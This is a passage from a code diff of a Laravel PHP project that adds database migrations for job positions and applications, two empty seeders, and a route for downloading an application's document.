|
* Run the migrations.
|
||||||
|
*/
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::create('positions', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->string('title');
|
||||||
|
$table->text('description')->nullable();
|
||||||
|
$table->text('internal_note')->nullable();
|
||||||
|
$table->dateTime('end');
|
||||||
|
$table->timestamps();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reverse the migrations.
|
||||||
|
*/
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('positions');
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Run the migrations.
|
||||||
|
*/
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::create('applications', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->text('description')->nullable();
|
||||||
|
$table->string('document');
|
||||||
|
$table->foreignId('position_id')->constrained('positions');
|
||||||
|
$table->foreignId('user_id')->constrained('users');
|
||||||
|
$table->timestamps();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reverse the migrations.
|
||||||
|
*/
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('applications');
|
||||||
|
}
|
||||||
|
};
|
||||||
17
database/seeders/ApplicationSeeder.php
Normal file
17
database/seeders/ApplicationSeeder.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Database\Seeders;
|
||||||
|
|
||||||
|
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
|
||||||
|
use Illuminate\Database\Seeder;
|
||||||
|
|
||||||
|
class ApplicationSeeder extends Seeder
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Run the database seeds.
|
||||||
|
*/
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
//
|
||||||
|
}
|
||||||
|
}
|
||||||
17
database/seeders/PositionSeeder.php
Normal file
17
database/seeders/PositionSeeder.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Database\Seeders;
|
||||||
|
|
||||||
|
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
|
||||||
|
use Illuminate\Database\Seeder;
|
||||||
|
|
||||||
|
class PositionSeeder extends Seeder
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Run the database seeds.
|
||||||
|
*/
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
//
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,10 @@
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
use App\Http\Controllers\FileController;
|
||||||
use Illuminate\Support\Facades\Route;
|
use Illuminate\Support\Facades\Route;
|
||||||
|
|
||||||
Route::get('/', function () {
|
Route::get('/', function () {
|
||||||
return view('welcome');
|
return view('welcome');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
Route::get('/documents/{applicationId}/download', [FileController::class, 'show'])->name('documents.download');
|
||||||
|
|||||||
Reference in New Issue
Block a user